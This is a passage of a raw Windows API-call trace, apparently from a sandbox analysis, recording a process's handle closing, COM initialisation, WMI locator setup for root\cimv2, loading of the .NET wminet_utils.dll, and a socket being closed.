(hObject=0x350) returned 1 [0067.231] CloseHandle (hObject=0x2d0) returned 1 [0067.231] CloseHandle (hObject=0x34c) returned 1 [0067.231] CloseHandle (hObject=0x2cc) returned 1 [0067.232] CloseHandle (hObject=0x2c8) returned 1 [0067.232] CloseHandle (hObject=0x340) returned 1 [0067.232] CloseHandle (hObject=0x2c4) returned 1 [0067.232] CloseHandle (hObject=0x2c0) returned 1 [0067.232] CloseHandle (hObject=0x33c) returned 1 [0067.232] CloseHandle (hObject=0x2bc) returned 1 [0067.232] CloseHandle (hObject=0x5f0) returned 1 [0067.232] CloseHandle (hObject=0x2b8) returned 1 [0067.233] CloseHandle (hObject=0x4d8) returned 1 [0067.233] CloseHandle (hObject=0x5ec) returned 1 [0067.233] CloseHandle (hObject=0x364) returned 1 [0067.233] CloseHandle (hObject=0x2b4) returned 1 [0067.507] CoGetContextToken (in: pToken=0x1b3ef840 | out: pToken=0x1b3ef840) returned 0x0 [0067.507] CoGetContextToken (in: pToken=0x1b3ef740 | out: pToken=0x1b3ef740) returned 0x0 [0067.507] WbemLocator:IUnknown:Release (This=0x1ec01660) returned 0x4 [0067.508] CoReleaseMarshalData (pStm=0x1ec2b170) returned 0x0 [0067.508] WbemLocator:IUnknown:Release (This=0x1ec01660) returned 0x3 [0067.508] WbemLocator:IUnknown:Release (This=0x1ec01660) returned 0x2 [0067.509] WbemLocator:IUnknown:Release (This=0x1ec01660) returned 0x1 [0067.509] WbemLocator:IUnknown:Release (This=0x1ec01660) returned 0x0 [0067.510] IUnknown:Release (This=0x12e64d0) returned 0x0 [0067.510] CoGetContextToken (in: pToken=0x1b3ef840 | out: pToken=0x1b3ef840) returned 0x0 [0067.510] CoGetContextToken (in: pToken=0x1b3ef740 | out: pToken=0x1b3ef740) returned 0x0 [0067.510] WbemDefPath:IUnknown:Release (This=0x1305d10) returned 0x1 [0067.510] WbemDefPath:IUnknown:Release (This=0x1305d10) returned 0x0 [0067.510] CoGetContextToken (in: pToken=0x1b3ef740 | out: pToken=0x1b3ef740) returned 0x0 [0067.510] WbemDefPath:IUnknown:Release (This=0x1305890) returned 0x1 [0067.510] WbemDefPath:IUnknown:Release (This=0x1305890) returned 0x0 [0068.759] CoGetContextToken (in: pToken=0x1b3ef840 | out: pToken=0x1b3ef840) returned 0x0 [0068.759] CoGetContextToken (in: pToken=0x1b3ef740 | out: pToken=0x1b3ef740) returned 0x0 [0068.759] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0068.759] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0077.588] CloseHandle (hObject=0x778) returned 1 [0077.588] CloseHandle (hObject=0x76c) returned 1 Thread: id = 5 os_tid = 0xddc Thread: id = 6 os_tid = 0x910 Thread: id = 7 os_tid = 0xd20 Thread: id = 8 os_tid = 0xf78 [0053.597] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0053.597] RoInitialize () returned 0x1 [0053.597] RoUninitialize () returned 0x0 [0053.600] ResetEvent (hEvent=0x344) returned 1 [0168.819] shutdown (s=0x580, how=2) returned 0 [0168.820] setsockopt (s=0x580, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0168.820] closesocket (s=0x580) returned 0 [0199.756] CoUninitialize () Thread: id = 9 os_tid = 0xe44 Thread: id = 10 os_tid = 0x42c Thread: id = 11 os_tid = 0x714 Thread: id = 12 os_tid = 0xb60 Thread: id = 13 os_tid = 0x6ac [0061.767] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0061.767] RoInitialize () returned 0x1 [0061.767] RoUninitialize () returned 0x0 [0061.790] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1eefeb58 | out: lpiid=0x1eefeb58) returned 0x0 [0061.793] CoGetClassObject (in: rclsid=0x1ec0db58*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ff91231a100*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1eefe728 | out: ppv=0x1eefe728*=0x1ec07b10) returned 0x0 [0062.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ec07b10, riid=0x7ff91233ef10*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1eefe810 | out: ppvObject=0x1eefe810*=0x0) returned 0x80004002 [0062.250] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1ec07b10, pUnkOuter=0x0, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe7e8 | out: ppvObject=0x1eefe7e8*=0x1305d10) returned 0x0 [0062.251] WbemDefPath:IUnknown:Release (This=0x1ec07b10) returned 0x0 [0062.251] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe590 | out: ppvObject=0x1eefe590*=0x1305d10) returned 0x0 [0062.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122ff238*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1eefe620 | out: ppvObject=0x1eefe620*=0x0) returned 0x80004002 [0062.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122ff288*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1eefde18 | out: ppvObject=0x1eefde18*=0x0) returned 0x80004002 [0062.253] WbemDefPath:IUnknown:AddRef (This=0x1305d10) returned 0x3 [0062.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122ff248*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1eefdcd8 | out: ppvObject=0x1eefdcd8*=0x0) returned 0x80004002 [0062.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122ff258*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1eefdc60 | out: ppvObject=0x1eefdc60*=0x0) returned 0x80004002 [0062.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122feef0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefdc50 | out: ppvObject=0x1eefdc50*=0x1ec079f0) returned 0x0 [0062.253] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1ec079f0, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1eefdc78 | out: pCid=0x1eefdc78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.253] WbemDefPath:IUnknown:Release (This=0x1ec079f0) returned 0x3 [0062.253] CoGetContextToken (in: pToken=0x1eefdd00 | out: pToken=0x1eefdd00) returned 0x0 [0062.254] CoGetContextToken (in: pToken=0x1eefe180 | out: pToken=0x1eefe180) returned 0x0 [0062.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x7ff9122ff268*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe240 | out: ppvObject=0x1eefe240*=0x0) returned 0x80004002 [0062.254] WbemDefPath:IUnknown:Release (This=0x1305d10) returned 0x2 [0062.254] WbemDefPath:IUnknown:Release (This=0x1305d10) returned 0x1 [0062.256] SetEvent (hEvent=0x558) returned 1 [0062.269] CoGetClassObject (in: rclsid=0x1ec0db58*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ff91231a100*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1eefe728 | out: ppv=0x1eefe728*=0x1312740) returned 0x0 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1312740, riid=0x7ff91233ef10*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1eefe810 | out: ppvObject=0x1eefe810*=0x0) returned 0x80004002 [0062.269] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1312740, pUnkOuter=0x0, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe7e8 | out: ppvObject=0x1eefe7e8*=0x1305b90) returned 0x0 [0062.269] WbemDefPath:IUnknown:Release (This=0x1312740) returned 0x0 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe590 | out: ppvObject=0x1eefe590*=0x1305b90) returned 0x0 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122ff238*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1eefe620 | out: ppvObject=0x1eefe620*=0x0) returned 0x80004002 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122ff288*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1eefde18 | out: ppvObject=0x1eefde18*=0x0) returned 0x80004002 [0062.269] WbemDefPath:IUnknown:AddRef (This=0x1305b90) returned 0x3 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122ff248*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1eefdcd8 | out: ppvObject=0x1eefdcd8*=0x0) returned 0x80004002 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122ff258*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1eefdc60 | out: ppvObject=0x1eefdc60*=0x0) returned 0x80004002 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122feef0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefdc50 | out: ppvObject=0x1eefdc50*=0x1ec1f020) returned 0x0 [0062.269] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1ec1f020, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1eefdc78 | out: pCid=0x1eefdc78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.270] WbemDefPath:IUnknown:Release (This=0x1ec1f020) returned 0x3 [0062.270] CoGetContextToken (in: pToken=0x1eefdd00 | out: pToken=0x1eefdd00) returned 0x0 [0062.270] CoGetContextToken (in: pToken=0x1eefe180 | out: pToken=0x1eefe180) returned 0x0 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x7ff9122ff268*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe240 | out: ppvObject=0x1eefe240*=0x0) returned 0x80004002 [0062.270] WbemDefPath:IUnknown:Release (This=0x1305b90) returned 0x2 [0062.270] WbemDefPath:IUnknown:Release (This=0x1305b90) returned 0x1 [0062.270] SetEvent (hEvent=0x5ec) returned 1 [0062.271] CoGetClassObject (in: rclsid=0x1ec0db58*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ff91231a100*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1eefe728 | out: ppv=0x1eefe728*=0x1ec1eee0) returned 0x0 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ec1eee0, riid=0x7ff91233ef10*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1eefe810 | out: ppvObject=0x1eefe810*=0x0) returned 0x80004002 [0062.272] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1ec1eee0, pUnkOuter=0x0, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe7e8 | out: ppvObject=0x1eefe7e8*=0x1305890) returned 0x0 [0062.272] WbemDefPath:IUnknown:Release (This=0x1ec1eee0) returned 0x0 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe590 | out: ppvObject=0x1eefe590*=0x1305890) returned 0x0 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122ff238*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1eefe620 | out: ppvObject=0x1eefe620*=0x0) returned 0x80004002 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122ff288*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1eefde18 | out: ppvObject=0x1eefde18*=0x0) returned 0x80004002 [0062.272] WbemDefPath:IUnknown:AddRef (This=0x1305890) returned 0x3 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122ff248*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1eefdcd8 | out: ppvObject=0x1eefdcd8*=0x0) returned 0x80004002 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122ff258*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1eefdc60 | out: ppvObject=0x1eefdc60*=0x0) returned 0x80004002 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122feef0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefdc50 | out: ppvObject=0x1eefdc50*=0x1ec1f280) returned 0x0 [0062.272] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1ec1f280, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1eefdc78 | out: pCid=0x1eefdc78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.272] WbemDefPath:IUnknown:Release (This=0x1ec1f280) returned 0x3 [0062.272] CoGetContextToken (in: pToken=0x1eefdd00 | out: pToken=0x1eefdd00) returned 0x0 [0062.272] CoGetContextToken (in: pToken=0x1eefe180 | out: pToken=0x1eefe180) returned 0x0 [0062.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x7ff9122ff268*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1eefe240 | out: ppvObject=0x1eefe240*=0x0) returned 0x80004002 [0062.272] WbemDefPath:IUnknown:Release (This=0x1305890) returned 0x2 [0062.272] WbemDefPath:IUnknown:Release (This=0x1305890) returned 0x1 [0062.272] SetEvent (hEvent=0x5f0) returned 1 Thread: id = 14 os_tid = 0xa8c [0062.299] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0062.299] RoInitialize () returned 0x1 [0062.299] RoUninitialize () returned 0x0 [0062.299] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1effebe8 | out: lpiid=0x1effebe8) returned 0x0 [0062.300] CoGetClassObject (in: rclsid=0x1ec0e5d8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ff91231a100*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1effe7b8 | out: ppv=0x1effe7b8*=0x1ec1ef80) returned 0x0 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1ef80, riid=0x7ff91233ef10*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1effe8a0 | out: ppvObject=0x1effe8a0*=0x0) returned 0x80004002 [0062.308] WbemLocator:IClassFactory:CreateInstance (in: This=0x1ec1ef80, pUnkOuter=0x0, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effe878 | out: ppvObject=0x1effe878*=0x1ec1eea0) returned 0x0 [0062.308] WbemLocator:IUnknown:Release (This=0x1ec1ef80) returned 0x0 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effe620 | out: ppvObject=0x1effe620*=0x1ec1eea0) returned 0x0 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122ff238*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1effe6b0 | out: ppvObject=0x1effe6b0*=0x0) returned 0x80004002 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122ff288*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1effdea8 | out: ppvObject=0x1effdea8*=0x0) returned 0x80004002 [0062.308] WbemLocator:IUnknown:AddRef (This=0x1ec1eea0) returned 0x3 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122ff248*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1effdd68 | out: ppvObject=0x1effdd68*=0x0) returned 0x80004002 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122ff258*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1effdcf0 | out: ppvObject=0x1effdcf0*=0x0) returned 0x80004002 [0062.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122feef0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effdce0 | out: ppvObject=0x1effdce0*=0x0) returned 0x80004002 [0062.308] CoGetContextToken (in: pToken=0x1effdd90 | out: pToken=0x1effdd90) returned 0x0 [0062.309] CoGetObjectContext (in: riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ec11aa8 | out: ppv=0x1ec11aa8*=0x12e64d0) returned 0x0 [0062.328] CoGetContextToken (in: pToken=0x1effe210 | out: pToken=0x1effe210) returned 0x0 [0062.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x7ff9122ff268*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effe2d0 | out: ppvObject=0x1effe2d0*=0x0) returned 0x80004002 [0062.331] WbemLocator:IUnknown:Release (This=0x1ec1eea0) returned 0x2 [0062.331] WbemLocator:IUnknown:Release (This=0x1ec1eea0) returned 0x1 [0062.332] CoGetContextToken (in: pToken=0x1effecd0 | out: pToken=0x1effecd0) returned 0x0 [0062.332] CoGetContextToken (in: pToken=0x1effebd0 | out: pToken=0x1effebd0) returned 0x0 [0062.332] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec1eea0, riid=0x1effed30*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1effed00 | out: ppvObject=0x1effed00*=0x1ec1eea0) returned 0x0 [0062.332] WbemLocator:IUnknown:AddRef (This=0x1ec1eea0) returned 0x3 [0062.332] WbemLocator:IUnknown:Release (This=0x1ec1eea0) returned 0x2 [0062.335] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305890, puCount=0x1efff100 | out: puCount=0x1efff100*=0x2) returned 0x0 [0062.335] WbemDefPath:IWbemPath:GetText (in: This=0x1305890, lFlags=8, puBuffLength=0x1efff0f8*=0x0, pszText=0x0 | out: puBuffLength=0x1efff0f8*=0xf, pszText=0x0) returned 0x0 [0062.335] WbemDefPath:IWbemPath:GetText (in: This=0x1305890, lFlags=8, puBuffLength=0x1efff0f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1efff0f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.341] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1effd9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0062.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1effe010, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll&#$®u", lpUsedDefaultChar=0x0) returned 65 [0062.342] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7ff90b9f0000 [0062.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1effe050, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0062.498] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="ResetSecurity") returned 0x7ff90b9f3f50 [0062.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1effe050, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity\x11ù\x7f", lpUsedDefaultChar=0x0) returned 11 [0062.510] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="SetSecurity") returned 0x7ff90b9f3fc0 [0062.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1effe040, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices\x01\x03", lpUsedDefaultChar=0x0) returned 18 [0062.520] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="BlessIWbemServices") returned 0x7ff90b9f24e0 [0062.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 